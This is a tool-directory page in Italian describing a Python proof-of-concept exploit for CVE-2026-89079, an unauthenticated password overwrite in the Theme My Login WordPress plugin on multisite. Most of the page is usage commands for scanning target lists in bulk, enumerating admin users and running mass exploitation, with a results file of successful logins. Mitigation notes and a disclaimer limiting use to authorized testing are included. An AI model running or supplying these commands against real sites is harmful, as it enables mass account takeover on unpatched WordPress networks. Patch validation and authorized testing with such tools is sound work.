Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-89079 — PoC in Python per CVE-2026-89079: identifica Theme My Login <=7.2.1 su WordPress multisite, quindi sfrutta la sovrascrittura della password non autenticata tramite lost-password e verifica l'accesso. | Kitploit
Strumenti/GitHubGitHub/murrez/cve-2026-89079
Escalation di PrivilegiScanner di VulnerabilitàAttacchi alle PasswordAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubmurrez/cve-2026-89079

CVE-2026-89079

PoC in Python per CVE-2026-89079: identifica Theme My Login <=7.2.1 su WordPress multisite, quindi sfrutta la sovrascrittura della password non autenticata tramite lost-password e verifica l'accesso.

82219 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

CVE-2026-89079 — Theme My Login (WordPress multisite)

PoCbit

Strumenti di ricerca sulla sicurezza per CVE-2026-89079: acquisizione non autenticata dell'account su WordPress multisite quando Theme My Login ≤ 7.2.1 ha abilitata l'opzione di rete tml_user_passwords.

Solo per test autorizzati. Non utilizzare contro sistemi di cui non si è proprietari o per i quali non si dispone di autorizzazione scritta ai test.

PluginTheme My Login
Affected≤ 7.2.1
Fixed7.2.2+ (06b7623)
CWECWE-269 Improper Privilege Management
CVSS 3.19.8 (Critical)

Perché la scansione della versione ≠ sfruttabilità

Tutte e tre le condizioni devono essere vere:

  1. is_multisite() — ms-hooks.php viene caricato solo su un vero WordPress multisite (non su TML /register/ in single-site).
  2. get_site_option( 'tml_user_passwords' ) — “password di registrazione scelte dall'utente” a livello di rete.
  3. Theme My Login ≤ 7.2.1 — tml_ms_filter_pre_insert_user_data() applica $_POST['user_pass1'] su retrieve_password() → wp_update_user().

Una risposta checkemail=confirm dopo il POST di recupero password non prova che la password sia stata cambiata; è il normale comportamento di WordPress quando il filtro vulnerabile è inattivo.

Struttura del repository

CVE-2026-89079/
├── poc.py              # CLI: mass check / exploit / verify-only
├── tml_core.py         # Detection, HTTP/form diagnostics, tests import
├── requirements.txt
├── targets.example.txt
├── tests/
│   └── test_tml_core.py
└── lab/
    └── README.md       # Disposable WP multisite lab notes

Installazione

git clone https://github.com/YOUR_ORG/CVE-2026-89079.git
cd CVE-2026-89079
pip install -r requirements.txt

Utilizzo

Verifica (fingerprint)

python poc.py --check https://target.example.com

# Bulk
python poc.py -f targets.txt --mode check -j 30 -q

# Optional: REST / ?author= hints → 3rd column in vuln list
python poc.py -f targets.txt --mode check --enum-users -j 30 -q

Output (predefiniti):

FileContenuto
cve_2026_89079_results.jsonlTutti i target + finding_status, indizi multisito / user_pass1
cve_2026_89079_vuln.txtTML ≤ 7.2.1 (tab: URL, versione, best_login opzionale)
cve_2026_89079_eligible.txtEuristica più restrittiva: registrazione di rete + user_pass1 alla registrazione (non una garanzia)

I valori di finding_status includono: NOT_DETECTED, PATCHED, POTENTIALLY_VULNERABLE, PRECONDITIONS_UNKNOWN, VERIFICATION_INCONCLUSIVE, NETWORK_ERROR.

Exploit (password dimenticata + verifica del login)

# Single target (default user: auto — enumerate admin-first when REST/?author= allows)
python poc.py https://target.example.com --mode exploit

python poc.py https://target.example.com -u admin --mode exploit
python poc.py https://target.example.com --version-hint 6.8.2 --login-hint admin --mode exploit

# Bulk from vuln list
python poc.py -f cve_2026_89079_vuln.txt --mode exploit -j 15 -q

Flag utili:

FlagScopo
--no-require-multisiteTenta anche quando l'euristica multisite fallisce (molti siti TML single-site)
--require-user-passwordsSalta quando le pagine di registrazione non contengono user_pass1
--only-eligibleSfrutta solo le righe con exploit_eligible da un precedente --check-jsonl
--verify-onlyNessun POST della password / nessun login — solo diagnostica di form ed endpoint
--skip-version-checkForza il tentativo quando il readme è bloccato
-qLogging bulk più silenzioso

Output: cve_2026_89079_exploit.jsonl, cve_2026_89079_pwned.txt (login riusciti).

Test

python -m unittest discover -s tests -v

Note tecniche

  • Gestione della password smarrita: tml_lost_password_handler() → core retrieve_password().
  • Correzione in 7.2.2: il filtro wp_pre_insert_user_data ignora gli aggiornamenti durante il recupero password ($update).
  • Il rilevamento multisito ignora i redirect wp-signup.php → /register/ (comune falso positivo di TML su sito singolo).
  • Moduli analizzati con html.parser; supporta il recupero password AJAX di TML quando configurato.

Mitigazione

  • Aggiornare Theme My Login alla versione 7.2.2+ sulla rete.
  • Disabilitare tml_user_passwords o il plugin fino alla correzione.
  • Bloccare o generare avvisi per le POST non autenticate verso gli URL di recupero password contenenti user_pass1.

Riferimenti

  • CVE-2026-89079
  • WordPress.org changeset 3696081
  • Patchstack advisory
  • PoCbit page

Note legali

Questo progetto è destinato alla ricerca sulla sicurezza difensiva, alla validazione delle patch e ai test di penetrazione autorizzati. L'uso improprio è vietato. Gli autori non si assumono alcuna responsabilità per l'uso non autorizzato.

Scarica lo strumento